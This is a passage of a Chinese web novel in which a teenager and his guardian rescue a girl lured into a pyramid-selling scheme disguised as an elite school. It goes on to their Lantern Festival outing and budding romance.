陆离这才转身出去开门,只是打开门的一瞬间,他眉心皱了一下。 一个三十多岁的女士站在门口:“我女儿呢?我女儿有没有回来过,有没有找过你?” 王盈盈的妈妈,只是短短半个月的时间,之前见她的时候,虽然状态也不好,却远远不如现在。 明明年龄不大,两鬓竟然隐约有了几根白头发。 陆离看着人,眉心皱得更深了:“她没有回去过?” “没有,一直没有,”王盈盈的妈妈一边说着,一边从怀里掏出手机,哽咽地说,“你看这是她之前给我发的消息,再然后我就联系不上她了。” 陆离拿过手机又在上面翻了几圈:“她之前还问你要过钱?” “要过,”她说,“之前的时候打电话要过几次,说是要交学校的学费,我当时原本想着跟着盈盈去学校看看的,结果工作太忙,就直接把钱转了过去。刚开始我以为盈盈生我气了,才故意和我不联系,可现在——” 她说不下去了,声音逐渐哽咽。 陆离抿紧了唇,傅生见陆离一直在门口,也走了过来:“你现在去学校找过吗?” “去过了,”王盈盈的妈妈泪眼婆娑地说,“学校说没有收到过这个学生的任何资料,校长还说,学校里的学生都是凭着成绩单入校,从来没有一个可以找关系进的。她失踪了,失踪了半个月。我这个当妈的现在才找。” 傅生问:“那是谁说介绍你们进的这个学校。” 陆离在旁边道:“她朋友。” “你知道,”女人眼睛的光又瞬间亮了起来,手抓着他的胳膊,“你见过盈盈对不对,你一定见过她对不对?” 陆离手逐渐收紧:“我之前见过一次。” 女人说:“那现在呢,盈盈在哪,安不安全?” 陆离看着女人已经熬了好久的眼睛,发黄的眼珠上爬满了红血丝,他张了张嘴:“我不知道。” 这次和上次说出话明明一样,心情完全不一样,陆离看着女人落魄离开的样子,手指攥着得越来越紧。 傅生抓着他的手,将手指一根一根掰开:“松手。” 好半晌,陆离才开口:“放假之前,王盈盈去找过我。” “和你没关系。”傅生说,“你也不知道。” 陆离说:“可是我当初要是觉察到不对劲——” 或者他那天放学的时候,去告诉王盈盈的妈妈这件事,现在王盈盈就不会消失。 傅生看着他垂下去的眼睛,说:“无论是好人还是坏人,最忌讳将责任都揽到自己身上。” 陆离垂着眼睛在门口站了一会,嗯了一声。 一整天,陆离都把自己关在房间里。 虽然嘴上不说,但是傅生知道他肯定又把那个女生失踪的责任揽到自己身上了。 他垂了一下眸子,半晌打了一个电话出去。 “哎,”刘芳说,“傅大老板怎么有时间和我打电话?” 傅生将手指上的戒指转了一下:“拜托你件事。” “哎哟,还拜托,你傅大老板什么时候拜托过什么人,”刘芳说:“你直接说就行了。” 傅生:“帮我查查一个叫王盈盈的女学生之前都在哪里出现过。” 刘芳问了王盈盈的基本信息,说了一声行。 刘芳只用了两年的时间,就将恒水集团的规模扩大了一倍,做他们这行的,黑白两道都有熟悉的人,查失踪人这件事,当然在警察系统里最简单,但又不能完全依赖于警方。 傅生不太适合在警方面前露脸,不过,刘芳的办事效率很快,第二天的中午就有了消息。 王盈盈话里的好朋友,是之前一起上过学的孙亚丽。 她的父亲之前在国企被裁员,母亲刚开始在纺织厂工作,后来生了一次病干不了重活。 才开始孙亚丽的家庭条件并不好,但是后来,不知道干什么发了财,不仅买了新房子,还在一家什么公司做经理。 傅生下意识地问:“什么公司?” 刘芳说:“我查了,但是没查到,刚开始怀疑他是吹牛框别人,但是他家每个月花钱的金额又不太像。” “行,”傅生说,“他家地址在哪里?” * 傅生出门的时候,看了陆离的房间一眼。 少年肩背挺直,就算是穿着卫衣,都可以看出背后的清晰肩胛骨的曲线,他微低着头,笔飒飒地在纸上写着什么。 还挺认真。 傅生站在门口,看了半晌说:“我出门一趟。” “嗯,”陆离没抬头,“老师布置了作业。” 意思是他在家里写作业。 傅生嗯了一声就转身出了门。 他看了一眼刘芳给的地址,距离不远,但是他懒得动,就打了一辆车。 下车的第一眼,傅生对于这边的小区就有种说不上的感觉,一边是老旧的小区一边是新建的小区,像是被劈开的阴阳假面。 不过,他也没有多想,转了一圈看到在门口看到一个卖板栗的老大爷:“你好。” “七块钱一袋,十五块钱两袋。”老大爷头也不抬地说。 傅生眉心挑了一下:“那来两袋。” 老大爷抬头,等了半晌也没有等到傅生说后话,他一边装着糖炒栗子,最后没有忍住,小声地嘟囔:“看着像个文化人,数学这么烂。” 傅生脸上的笑更大了:“大爷,问你个事。” 大爷占了人便宜,态度好了点:“什么?” “你认识有个叫孙亚丽的学生吗?”傅生说。 “孙亚丽?”老爷子嘀嘀咕咕,“最近怎么这么多找她的。” 傅生:“还有其他人?” 大爷说:“那可多了去了。就你来之前还有的人打听过,不过你也别问了,他家最近不在,不知道去哪了,新买的房子,住了几天就又不住了,也不知道是什么毛病。你的栗子好了。” “谢谢,”傅生皱眉,接过那两袋糖炒栗子,又随口问了一句,“刚才问他家的那个人呢?” “一个半大小伙,”大爷抬头看了一圈,“刚才还在呢,怎么就这么一小会功夫人就没了。”他嘟囔完,不知道看到什么,眼睛亮了一下,“哦,找到了,在那呢。” 傅生顺着大爷的手看了过去。 那是一堵高高的围墙。 只见原本应该在家里刷试卷里某人,嘴里正叼着两袋糖炒栗子,正想要翻墙出来。 四目相对,陆离的冷白的脸一瞬间很是复杂。 傅生接着就笑了,开口打趣:“这是老师布置的作业?翻墙还是买糖炒栗子。” 陆离:“……” 出门不利。 他瘫着脸在墙上翻身跳下来:“你怎么来了?” 傅生说:“散步。” 陆离心说放屁,散步能散到这里。 他的眼睛落在傅生手上买的两袋糖炒栗子上,两个人一人提着两袋,站在一起,面面相觑显得有些傻。 “你们两个原来是一家的啊,”老大爷见此,抓紧推着他的小车说,“买了就不给退了。” 可能是怕两个人反悔,说完就动作麻利地消失在长道上。 陆离在这一瞬间觉得,这个老大爷的跑步动作,比自己身边的某人还要快上几分。 但—— 他也知道,傅生来这里,只能是为了他。 他心里突然有股说不上的感觉。 周围很快安静下来,傅生打破的寂静率先开口:“怎么找到这里的?” 陆离捏着手里的糖炒栗子说:“我去她之前的学校问了他们之前的同学。” “还挺聪明,”傅生说,“进去之后找到什么了?” “关着门呢,”陆离说,“应该是真的没有住这里。” “进去看看了吗?”傅生看着这两袋糖炒栗子有点犯愁。 陆离:“门锁着。” 傅生说:“再进去一趟,就算房间进不去,周围的东西也能发现点什么。” “周围?”陆离看着傅生,“周围可以发现什么。” 他只是想着里面有没有人,抓出来问问王盈盈的情况,但奇怪的是,不仅孙亚丽家里没有人,敲他们邻居的门,也没有开门。 “门上贴的广告,门口的垃圾,鞋架子上放的鞋。”傅生说,“这些细小的东西,都是——” 话还没有说完,他抬头就看见陆离叼着板栗又翻上了墙头,对着傅生伸出了手:“我拉你。” 傅生看着那双在阳光下清瘦修长的手,弯了弯眼睛:“不用。” “你能翻上来?”陆离有些怀疑地看着傅生,毕竟这位异常讲究的某人,跑步都没跑过。别说这种翻墙的活动了。 然后,他就看着傅生走到了小区的门口,只是弯着眼睛对着保安说了几句,那个保安就让他进去了。 陆离:“” 他怀疑傅生把保安忽悠瘸了。 傅生进门之后,陆离早就下来了一会了,在旁边等着他,就是眼神有些复杂。 “干吗这样看着我?”傅生看着他说。 看你骗了多少人,陆离心说,他移开目光,指着前边这个楼说:“就是三楼这一户。” “嗯,”傅生说,“那进去看看。” 这个楼应该是刚建完没多久,进门就闻到轻微的装修材料的味道。 上了三层,傅生在周围转了一圈,这一层只有两户人家,楼道里很干净,只有通风窗户旁边摆着一个绿植。 绿植的叶子长得格外的茂盛。 傅生手指在窗户边擦了一下,垂着眸子看了一眼指尖,很干净,没有一点灰尘。 他将目光落在孙亚丽邻居家门口,片刻走了过去,陆离跟过去说:“他家有人住吗?” 傅生摇了摇头,指着孙亚丽邻居家的门说:“你看到门上这些撕下来的广告了吗?” “嗯,”陆离有些不明白,“这不是正说明有人住吗?” “只能说明之前有人住,”傅生说着,手指指尖落在那个开锁公司的广告上,“上面有很多撕扯的痕迹,说明这家的主人之前是一个有洁癖的人,最起码不能忍受自己门上贴着东西。” 陆离瞬间明白了:“这个开锁的广告还在,看日期,估计要有一个月没有回来过了。” “嗯,”傅生说,“走吧。” 陆离说:“你不看看孙亚丽家?” “没必要,”傅生看着窗户上的绿植说。 陆离皱了一下眉,顺着傅生的目光看了过去,片刻他的眉心放松下来。 孙亚丽的邻居家没有人,但是窗台不仅没有灰尘,绿植也有人浇水。 那就只能证明—— 陆离目光清凌,看向傅生:“什么时候再来。” 傅生笑着说:“自然是等人回家的时候再来。” 白天没人,那就晚上。 * 孙亚丽很费劲地从墙上爬了上去,孙鹏在下面很不爽地催促:“你动作快点,一会该被别人看到了。” “看到就看到吗,我们为什么不能住在家里。”她下来的时候,没控制好,在地上跌了一下,下面都是水泥地,疼得要命。 “住在家里,你想天天被人堵吗?”孙鹏说,“下次再这么笨,你就和你妈妈一起看着那群笨狗行了,别跟我回来了。” “我才不要,”孙亚丽说,“那里面住了这么多人都快臭死了。” 陆离和傅生在墙下的阴影里看着不远处的父女两个人。 13年,正是传/销最 猖獗的时候,人们也没有防诈意识。 陆离看着不远处的两个人说:“我们要直接报警?” “现在还不行,”傅生说,“传/销组织的鼻子最为灵通,我们现在不知道他们的具体住址,报了警会打草惊蛇,他们可能直接换地方,到时候更不好找。” 陆离捏了捏手指:“那现在接下去怎么办?” 傅生眼睛落在三楼的窗户上,眼神暗了一下。 孙亚丽去学校的时候,又迟到了,学校值班老师在门口呵斥:“又是你,你怎么是天天迟到,你就不能天天早起一会?” 孙亚丽心说我要是能早起来还会迟到,她非常不服的撇着嘴进了教室,刚进教室就有人喊:“孙亚丽,有人找你。” “谁找?” “不知道,一个校外的。”那个人站在门口,又添上一句,“长得还挺帅。” 人长得挺帅? 孙亚丽的眼睛转了一下,出门,果然看见一个高高瘦瘦的男生站在门口,白皙的脸上很是冷,比旁边树叶上结的霜还冷。 “你找我?”孙亚丽走过去。 陆离抬眼看她:“我之前听王盈盈说,你能将人送进那个小哈佛?” 孙亚丽有些怀疑地上下打量了一眼:“王盈盈什么时候给你说的?” “一个月前,”陆离脸上露出不耐烦的表情,“到底行不行?” 孙亚丽看着他身上穿的都是牌子货,不是寻常人家能买得起的,她又问了一句:“行是行。不过王盈盈没给你说别的?” “说什么?”陆离抬头,“钱不是问题,不过只有一点,不要家长签字之类乱七八糟的程序。” “不用,完全不用,”孙亚丽看着陆离,眼神有些雀跃地说,“你看什么时候跟着我去见见学校领导。” “我先见见王盈盈,问问她学校怎么样。” “见,可以一起。” 见面的日期定在晚上,陆离被孙亚丽带进去一个小别墅,脸上表情多了几分不耐。 黑衣服说:“你就是盈盈的朋友吧?” 他旁边站着的是孙亚丽的爸爸孙鹏,陆离看了一眼,就收回了目光,说:“王盈盈呢?” “在里面,”孙亚丽说,“这边是小哈佛领导。” 陆离没理他,径直地走过去看见王盈盈确实在里面,除了瘦了点,身上没有其他外伤,他一直绷直的肩背才放松下来。 “我给你发消息,为什么不回?”陆离开门见山,看着人问。 王盈盈怯弱地看了一眼孙鹏,在孙鹏点头之后,才说:“学习里的课业太忙了。” 黑衣男人说:“我们管理很严格的。” “是吗,”陆离的眼神看向他,“还在过年期间就这么忙了吗?” 黑衣服:“为了提成绩,学校里也需要安排一些集训的。” 陆离看着周围说:“这里是集训的地方?” 黑衣服和孙鹏对视了一眼:“是,没错,我们为学生提供最优质的服务。” 陆离:“那我能在这里面参观一圈?” “行,当然没问题,”黑衣服给孙鹏使了一个眼色,准备把王盈盈先带下去。 “我要王盈盈给我介绍介绍。”陆离转头对着王盈盈说,“你是不是在这里待了有一段时间了。” 王盈盈嗯了一声,不敢看他的眼睛。 别墅一共三层,在里面逛的时候,黑衣服的人一直问陆离家庭情况,陆离随意地回答了几句,把自己塑造成了叛逆,想要证明自己的问题少年。 为了让表演真实,他又皱着眉担心地问了几次:“你确定能让我进小哈佛?” 黑衣服眉开眼笑地对着陆离打包票,对陆离的戒备心逐渐放松下来,这种问题学生又缺少家庭关爱的学生最好把控了。 “可以可以,只要钱够了,想进哪个班进哪个班。” 几个人走到一楼,陆离看着门口就站在一个人,他眼睛在四周环顾了一圈。 四周没有别的人守着,可能因为就他一个小孩,所以警戒心并不高。 这就好办多了。 趁着黑衣服和孙鹏讲话,陆离一个花瓶砸了过去,朝着王盈盈说:“跑。” 门口的人下意识地躲避玻璃花瓶,等起身反应过来的时候,两个人已经跑出了别墅。 这边比较偏,都是小道,身后的人追的人也增了七八个。 陆离让王盈盈向相反的地方跑,自己引开那群人。 “那臭小子在那呢。” 黑暗中不知道是谁喊了一声。 陆离左右看了一眼,才发现前后都被人堵了。 他捏了捏手指,心说要不硬闯过去。就在这时,隔壁的小巷子口伸出来一只素白的手。 他下意识皱眉,一道温凉的声音在耳边响起:“不说好等我,怎么先跑了。” 两个人昨天商量好的分开行动,陆离分散传销头目的注意力拖住人,傅生去孙鹏所在的传销窝点打探情况,然后回来接陆离。 “他们太啰嗦了,”陆离说,“你那边呢。” “一窝端了,”傅生说,“警察已经过去了。” 两个人贴得很近,傅生一讲话,呼吸的热气似乎贴在耳边,陆离下意识地皱了一下眉。 这个距离似乎有点太近了。 就在这时,一阵脚步声出现在他们附近,一个人骂了一声:“草,我看见那个小子向这边跑了。” “他妈的一溜烟就不见了,”另一个说,“老板被他气惨了,头一次被一个毛头小子这么耍。你不知道那个小子装得有多逼真,说在家里不受待见,还一直被他哥欺负,所以想要进小哈佛证明自己。老板当时就信了。” 两个人一边吐槽,一边又去别处找。 等到脚步声走远的时候,陆离听到自己旁边似乎轻笑了一声。 这两个棒槌把他刚才说的话漏了个干净。 陆离垮着脸,扭头刚想警告傅生不许笑,结果对方也刚好抬头。 接着,他感觉到一股温凉柔软的触感在自己唇上擦了过去。 双方都愣了一下。 陆离好半晌才反应过来,那是傅生的唇。 傅生却并没有什么别的反应,似乎只是不经意寻常的碰触,对方还带着打趣地说:“小没良心的,我什么时候欺负过你?” 这边光线微弱,傅生穿着黑色的大衣半靠在墙上,被灯光一照,越发显得唇色嫣红。 陆离盯着那处嫣红,感觉胸口像是刚开罐的汽水,正咕噜咕噜地冒着气泡,他有些听不清他在讲什么。 只是喉间很缓慢地动了一下。 【作者有话说】 改一下更新时间,估计晚上十一点或者十二点了。 各位宝子们不要等,可以明天看(比心) 第0029章 第 29 章 ◎他倒是想看看这个胆子比天还大的祖宗怎么个害怕法。◎ “吓傻了?” 傅生的手指在陆离眼前晃了晃, 陆离像是倏然回神,目光倏然离开。 “没有。”陆离冷着嗓音说。 他和平时有些不一样,像是在逃离什么, 又像是懊恼。 这个年龄的人正是情绪最反复无常的时候, 傅生笑了一下, 两个人从刚才漆□□仄的巷子里走出来, 陆离捏了一下自己的喉, 又用手快速地扇了一下。 “很热?”傅生看着陆离问。 这话刚一问完,陆离的动作就僵了一下,接着他憋了一会,很是嫌弃地说:“你今天话怎么这么多。” 说完转身就向前边走去。 傅生:“?” 小鬼今天吃错药了? 这边的路确实很偏,两个人刚走出来, 却见刚才两个讲话的人竟然没有走,在巷子头堵着他们。 “我就说这个小子一定就在附近。”一个看着陆离说。 “还是哥你聪明, 不然还不知道怎么跟老板交差的。”另一个手里拿着一根铁棍子。 陆离正不爽, 看着这两个刚才是漏他话的棒槌,他捏了捏手指。 要不是他们多嘴,怎么会有后来的事。 “怎么不走了?”傅生也在身后走出来, 然后就看到巷子口, 刚才那两个傻大个守在那里。 傻大个们也蒙圈了:“怎么还有一个。” “怪不得这小子这么张狂, 原来是有同伙。” “带回去两个更好。” 说着,两个人就朝着陆离和傅生围了过去, 陆离看了一眼傅生, 看着他手不能提肩不能挑的劲,向前站了一步:“躲我后面。” 傅生笑了一下:“行, 长大了, 知道保护你哥了。” 陆离:“……” 他就应该把身后的人丢出去。 “他们竟然还在聊天, 这是没把咱们兄弟俩放在眼里。” 拿着棍子的说:“不跟他们废话,直接把人撂了。” 傅生向前走了一步,看着两个人说:“你就这么把我这个外人带回去了?老板同意吗?” 陆离侧眼看着傅生弯着的眼睛,就知道这个人又在起什么坏心思了。 前边的人果然皱了一下眉,他们的地址轻易不能向外人透露。 “是啊,万一带回去,老板再发火怎么办。” “这样吧,”傅生说,“我等你们一会,你们打个电话问问。” 陆离心说你疯了还是他们疯了。 然后他一抬眼,竟然看着前边的大傻个竟然真的拿出了手机。 手机显示响了一阵忙音,其中一个抬头:“没人接。” “再打一遍。” 这一遍倒是有人接了,只是刚接通,对面就响起了一阵警车鸣音。 两个傻大个吓了一跳,差点把手机扔出去,再然后,他就看见刚才穿着黑风衣的男人笑着走到他们面前,手里拿着他们不小心扔出去的棍子。 “” 再次醒来睁开眼的时候,身边都是警察。 抓他们的人,一个弯着眼睛笑着,一个冷着脸和有人欠了他几百万一样。 警察站在两个人面前:“傅先生,陆同学,非常感谢你们帮忙破获本市最大的传销窝点。还帮忙抓到了漏网之鱼。” “只是偶然碰见,”被称为傅先生的那位将目光落在他们身上,弯了一下眼睛,“而且,鱼已经醒了。” 鱼:“” 警察愣了一下,才反应傅生说的是谁,严肃的脸上露出一丝笑:“傅先生,你真幽默。” 傅生笑着礼貌地说:“谢谢。” 陆离看着两个人相谈甚欢的模样,下意识地皱了下眉,冷着脸转身走了。 傅生侧首,看着陆离的背影,眼睛眨了一下,对着警察道:“抱歉,有点事先走了。” 王盈盈在花园的台阶上坐着,女警察正在安抚,陆离走过去的时候,她的眼睛瞬间红了一圈。 “谢谢。陆离哥。” 一个小姑娘经历这么多事,说不害怕是不可能的。 陆离站在旁边,他不擅长安慰人,只说:“你妈妈一会儿就过来。”愣了半晌又加了一句,“若是想考我们学校,有不会的可以问我。” 王盈盈点了点头。 眼泪在眼睛里转了几圈,之前孙亚丽也是带着她去了那个别墅,回家之后,就撺掇着她问家里要钱,说是经过培训之后,才能进入号称“小哈佛”的贵族学院。 只是钱到手之后,孙亚丽领着她去的却不是别墅,而是去了住了几十号人一个破烂的居民楼。 她当时也怀疑过,但是孙亚丽说,别墅的高级学生才能进去的,她只是普通的学生,要是想升中级,可以选择两种方式,一个是拉人进来,另一个就是交钱。 她又交了几次钱之后,开始意识到可能被骗了。打电话想要求救的时候,却被孙亚丽发现了,收走了她的手机。 “盈盈。” 陆离抬头,看见王盈盈的妈妈穿着一件单薄的毛衣,外套都没来得及着穿就跑了过来,几乎是听到这声音的那一瞬间,王盈盈眼中的泪就再也绷不住了。 “妈妈,我错了,”她哭着说,“我以后再也不会叛逆了,我会好好学习。” “回来就好,”她妈妈摸着王盈盈的头发,“回来就好,咱们回家。” 陆离看着这一幕垂了一下眼睛,接着他的头被人轻拍了一下,回头嘴里便被塞了一个甜软的东西。 傅生手中不知道在哪里买的两袋栗子说:“还看,回家了。” 距离十五开学,还剩下几天。 两个人还是和平时一样,傅生最常坐的地方是院子里的摇椅,陆离依旧喜欢在窗户边,写作业。 两个人互不干扰。 不过一向清静的古董店今日却有些热闹,一大早先是派出所的工作人员,送过来一个荣誉证书,上面写着:热心市民傅先生,见义勇为,特发此奖。 对于这个,傅生接受良好。 再然后,王盈盈的妈妈带着王盈盈进了门,手里拿着一面锦旗。 锦旗上写着:活雷锋。 傅生第一次笑不出来了,看着这三个金晃晃的大字,好像是对他诈骗生涯的嘲讽。 王盈盈的妈妈拉着王盈盈说:“快谢谢活雷锋,谢谢这个哥哥。” 王盈盈经历这次事,之前活泼的性子稍微收敛的一点,老老实实地说:“谢谢活雷锋哥哥。” 傅生:“……” “真的要不是你,我真的不知道应该怎么办了,”王盈盈的妈妈说,“真的太感谢你了,你就是雷锋再世。” 傅生看着王盈盈的妈妈眼神殷切的目光,向来能言善辩的嘴头一次只说了一句;“不用谢。” 陆离头一次看到傅生露出这个表情,在旁白冷着声音也叫了一声:“活雷锋、哥、哥。” 傅生:“……” 别人也就算了,这个臭小子也跟着一起,他最后只能气结,却又拿着这个兔崽子没办法。 王盈盈的妈妈看着两个人的相处方式说:“你们两个是兄弟吧,你是他哥哥?” “不是,”陆离脸瞬间沉了下去,冷着声音说完,转身上了楼。 王盈盈的妈妈啊了一声。 傅生笑了一下:“确实不是亲兄弟。” 王盈盈说:“啊,不好意思,我看你们住在一起,关系又好,以为是亲兄弟呢。多问一句,陆离和你,他——” 傅生说:“这是我祖宗。” 他的声音带着笑意,声音又轻,莫名地有几分宠溺的味道,陆离抓着楼梯的手紧了一下。 然后脑海中下意识地又浮现出那天在逼仄的巷子里的那个吻。 陆离眉心颦了一下。 “我不回去,”蒋文在电话里说,“好不容易出来玩,我傻了吗,回去帮那个狐狸干活。”说到这里,他又愤愤地说了一句。 “还不给加班费。” 不过说完,蒋文就意识到不对劲:“哎不对,你小子这么稀奇,竟然问我回不回去?怎么,想你蒋文叔叔了。” 陆离拿着手机,垂着眼眸。 他只是觉得最近和傅生单独在一起有些奇怪。 “喂喂喂,”蒋文听不到回答,大声呼唤了几声。 陆离回神,冷淡地说:“哦。” 说完,就挂了电话。 蒋文:“……” 桌子上还摆着试卷,陆离发了一会呆,手机在旁边一直震动。 陆离拿起手机看了一眼,是班级群里,班主任说的开学时间定在正月十六。 下面的学生都在回复收到,陆离懒得打字,点了个数字1回了过去。 李学波本来就好动,看着陆离回复,他接着接了一句:“你回复1我也回复1。” 一开始一本正经的班级群走向逐渐离谱,下面的学生一溜烟:你回复1我也恢复1 陆离看着脸都瘫了,刚想眼不见为净的时候,李学波的消息发了过来。 李学波:陆哥,今天元宵,出去玩啊。 陆离:不去。 李学波:[尴尬] 李学波:为什么,为什么要这么快拒绝我,怎么好几个同学都去。 陆离打字,向来简单明了。 陆离:乱,吵,烦。 李学波:[流汗] 李学波:那行吧。那我去了。 陆离看了一眼,刚把手机放下,在试卷上写了一个字,手机又震动起来了。 他皱起眉,神色有点不耐烦,拿起手机,却发现这次的消息不是李学波发来的。 傅生:下楼。 陆离眉心松开,打字回复。 陆离:干什么。 傅生说:你先下来。 陆离看了一会,起身出门,就看到傅生站在楼下,手里还端着一碗白团团圆滚滚的元宵。 “下来吃元宵。” 陆离眼睛眨了一下。 这次的元宵是芝麻馅的,傅生看着陆离咬了一个,他弯着眼睛问:“好吃吗?” 陆离将嘴里的东西咽下,抬眼看着傅生:“嗯。你做的?” 这个十指不沾阳春水的人竟然还会滚元宵。 傅生却道:“我买的。” 陆离:“……” 那问个屁。 他闷头吃了一会,看着傅生又向自己碗里添了两个元宵,不知道是不是热气太蒸腾,他倏然开口:“晚上是不是有元宵灯会?” 傅生很是意外地看向他:“你想去?” 陆离咬破了一个元宵:“嗯。” 傅生更意外了,毕竟陆离向来最讨厌人多的地方,不过他还是道:“那就去。” 北川的元宵节和别的地方习俗差不多,吃元宵,赏花灯,猜灯谜,走百病。要是非说有哪里不一样,大概再加上两个,抽福签,鬼戏。 灯会上,花灯摆了长长的一排,周围人很多,小孩手里都提着花灯,傅生和陆离刚走进去,身后就一道高昂的声音在身后响起。 “陆离?” 陆离回头,看着李学波手里拿着唐人震惊地看着他:“我还以为认错人了,你不是说你不来吗?” 陆离脸都要瘫了。 李学波转头,又看到身边站着的傅生,非常自来熟地说:“哇,哥哥也在!” 傅生笑了一声:“你们邀请过陆离啊。” “是啊,是啊,”李学波向来是有问必答,“陆离说他嫌乱,吵,烦。” 这个大漏勺把陆离说的话一字不差地重复出来,还模仿着陆离冷冰冰不耐烦的语气。 陆离:“” 傅生注视着陆离的冷脸,脸上的笑容越来越大,他怕把人气跑了,对着李学波数:“是我拉他来的。” 李学波这才一副原来如此的表情,几个人也知道陆离性格,说了几句,就各自朝着其他地方玩去了。 一堆同学走后,这边空出来不小的位置,陆离站在那里,和旁边的人格格不入,似乎和热闹划分开来。 傅生看着那片空白说:“走,我带你去个其他地方。” “去哪?”陆离问。 傅生眼睛看向不远处。 祈福,他心说。 他原本是不信这些的,但现在他希望陆离之后可以无痛无灾。 寺庙,几个僧人在一旁敲着木鱼。 傅生在兜里掏出红色纸币,投进了一侧的祈福箱,一名僧人对着他念了一句阿弥陀佛,拿出一个竹筒,对着傅生说:“请施主抽取福签。” 傅生问:“谁抽都可以?” 僧人点了点头。 傅生抬眼看向陆离:“抽一根。” 陆离看了傅生几秒,没有问为什么让他抽,只是抿着唇在竹筒里拿出一根。 他看了一眼,下签。 陆离本人倒是没有多大的情绪,他这一生从出生开始就不被期待,怎么可能是上签。 傅生看了一眼,目光却沉了一下,他掏出纸币,重新放进祈福箱,看着僧人道:“还能再抽一次是吧。” 僧人点头。 傅生拿着竹筒,将里面的下签全都抽出来,留下全是上上签的竹筒。 陆离:“……” 周边站着的僧人被他的操作震惊到了,木鱼声都停了,只瞪着眼睛看着傅生。 傅生将竹筒重新递了过去,对着陆离说:“封建迷信要不得,抽这个。” 陆离看着那双清瘦的手,眼睛微垂,他又抓了一根签,毫无悬念的上上签。 那根签明明没有温度,却似乎烫了他一下。 抽到了想抽的签,傅生终于将竹筒还了那些僧侣。 可能是怕他继续捉妖,一个穿着红僧袍的僧人直接把祈福桶关了起来,嘴里嚷嚷道:“今天收满了,不要了。不要了。” 然后指着前边说:“那边有唱鬼戏的,你们不如去那边看看?” 然后,两个人就被撵了出来,陆离看着手里的上签愣神,傅生倒是对此接受良好。 “那去看鬼戏?” 这条街上没有这么多灯,光线相对于灯火通明的另一条街要暗一点。 许多戴着傩面具穿着华丽戏服的人,扮演者神鬼的动作在灯火下起舞,傅生站在灯火下,和陆离站在一旁看着人们驱鬼辟邪,祈福求愿。 因为面具色彩和表情都比较夸张,周围的家长会牵着孩子的手问:“害怕吗,要不要捂住眼睛。” 陆离从刚才起,就一直没说话,傅生看着他冷白的脸,打趣般伸手问道:“害怕吗?要不要牵住。” 本就是打趣逗人的话,以为会得到一个白眼,陆离却侧眸看了他几眼,接着少年人修长的手指抓在他手腕上。 他听陆离冷淡地说:“害怕。” 傅生愣了一下,垂眸看着两个人的手,有片刻走神,不过很快就恢复寻常的神色:“那就抓紧点。” 陆离忘了两个人是什么时候回去的,只记得那双手牵了一路,手中的汗沾湿了手心。 还有那根福签。 …… 晚上回去的时候,已经差不多十一点多了,傅生洗漱完,准备关灯睡觉的时候,门被敲响了。 家里只有两个人,不用想也知道是谁。 傅生打开门,看着陆离抱着枕头冷着一张脸站在他门口。 傅生说:“怎么,想打劫啊。” 陆离冷巴巴地开口:“害怕,睡不着。” 害怕? 傅生稀奇地上下看了陆离一眼,最后挑了一下眉。 “那进来吧。” 他倒是想看看这个胆子比天还大的祖宗怎么个害怕法。 【作者有话说】 傅生:要不是我就是你,我就信了。 谢谢各位客官的打赏呜呜呜呜。 第0030章 第 30 章 ◎梦。◎ 傅生的房间都是暗色调, 被夜晚的灯光一照,显得极为冷淡,他抿着唇, 目光落在那张铺着灰色调四件套的床上。 他也不知道自己怎么想的, 回来之后, 洗漱完坐在床上, 看到了在寺庙带回来的那个福签, 看了半晌,目光又落在傅生一点一点拼出来的模型上。 说不清是什么情绪,只是再回过神来的时候,他已经站在了傅生的门口。 其实进了房间之后,陆离是有点后悔的, 房间里就一张床,虽然床很大, 但—— 但是什么, 陆离没有想出来。 傅生站在一旁看着陆离微微走神的样子,笑了笑,“别傻站着了, 睡觉去。” 陆离抿着唇走到床边, 他想说要不我还是回去吧, 余光却看到傅生在橱子里又抱出来一床被子。 两床被子的话……也行。 于是,陆离就抱着枕头冷着脸, 滚到了床的最里面。 傅生好笑地站在床边看着他:“想盖哪床?” 这两床被子都是一个色的, 都是沉郁的灰色,要是说有什么不同的话, 一个是傅生盖过的, 一个是新的。 陆离抿了抿唇, 指了指原本床上的那床。 傅生挑了下眉,说了句行。 房间里安静下来,过年期间外面都点着灯笼,发着红的暗光照进房间里,既不会显得太亮,也不会显得太黑。 躺在床上,可以听到对方匀称的呼吸声,虽然没有挨着,但是身边的热量源源不断地输送过来,没有比此刻更能让人意识到他的旁边躺着个人。 这是他头一次和别人睡在一张床上。 陆离捏了捏手指,然后他就听到对方温凉的声音响起:“怎么?睡不着?被吓得?” 陆离:“……” 他不擅长说谎,但是这话是他自己说出去的。 “我看别人的小朋友被吓到了会抱着大人的腿哭。”傅生说,“我家这位小朋友怎么害怕也这么冷静。” 陆离:“……” 谁是小朋友。 但是对方不依不饶的,唔了一声,恍然说:“不会是在房间偷偷哭过了吧。” 这床是躺不下了,陆离在床上坐起来。 傅生在床上弯着眼睛看他:“干什么去?” 陆离:“回自己房间。” 傅生目光落在他脸上,他弯了弯眼睛,将人拉回来。 “行了,不逗你了,”他说,“睡吧,明天还要上课。” 陆离在黑暗中看着傅生纤长的睫毛,半晌又躺下。 这次傅生没有说话,他伸手,原本想张口说:要是害怕就牵住,但是话到嘴边,又将手收了回去,他走了一会神。 最后只是在床头留了盏灯。 * 早晨起来的时候,陆离没有看到傅生。向来比他起得晚的人,现在床边的却是空的。 陆离只看了一眼就收回了目光。 他洗漱完下楼,发现傅生坐在沙发上,桌子上放着买来的早餐,还有傅大老板心心念念的咖啡。 “你今天怎么起这么早。”陆离目光在咖啡杯上移开,问。 傅生:“我正想问,某人这么睡觉不老实,差点将我从床上踹下去。” 睡觉睡着什么样,醒来什么样的陆离:“???” 他无语半晌,将桌子上的早餐拿到手里,转身就走。 傅生看着陆离的背影,笑了一下。 过了年关之后。 原本以为生意还是像之前那么冷清,结果最近几天客人多了一倍。 原因是两个人前几天端了传销窝点的事,不知道被哪家媒体大肆宣扬出去。 古董店里电视嗡嗡的响着,播放的是捣毁传销窝点时的片段。 不知道哪家媒体这么不专业,脸都没有挡全。 傅大老板看到新闻上报道上自己的脸,看得脸都绿了。 上半辈子,他就算天天混迹在记者和警察中都没有被拍到过正脸。 这次倒是好,直接上了电视。 傅生坐在沙发上,电视上的光越发衬得他的脸越发沉。 身侧的手机响了几声,他十分不爽了按下了接听键。 “喂。” 接着就传来了蒋文嘲笑的声音:“哈哈哈哈啊哈哈哈,傅大天才,我没在的这段日子,你们的生活很丰富啊。” 傅生现在心情正不佳呢,正好有个冤大头撞在枪口上。 “给你的带薪休假给得太多了是吧。” 蒋文快速地止住了笑,咳嗽两声。 “你怎么会被拍到。” 傅生颦眉。 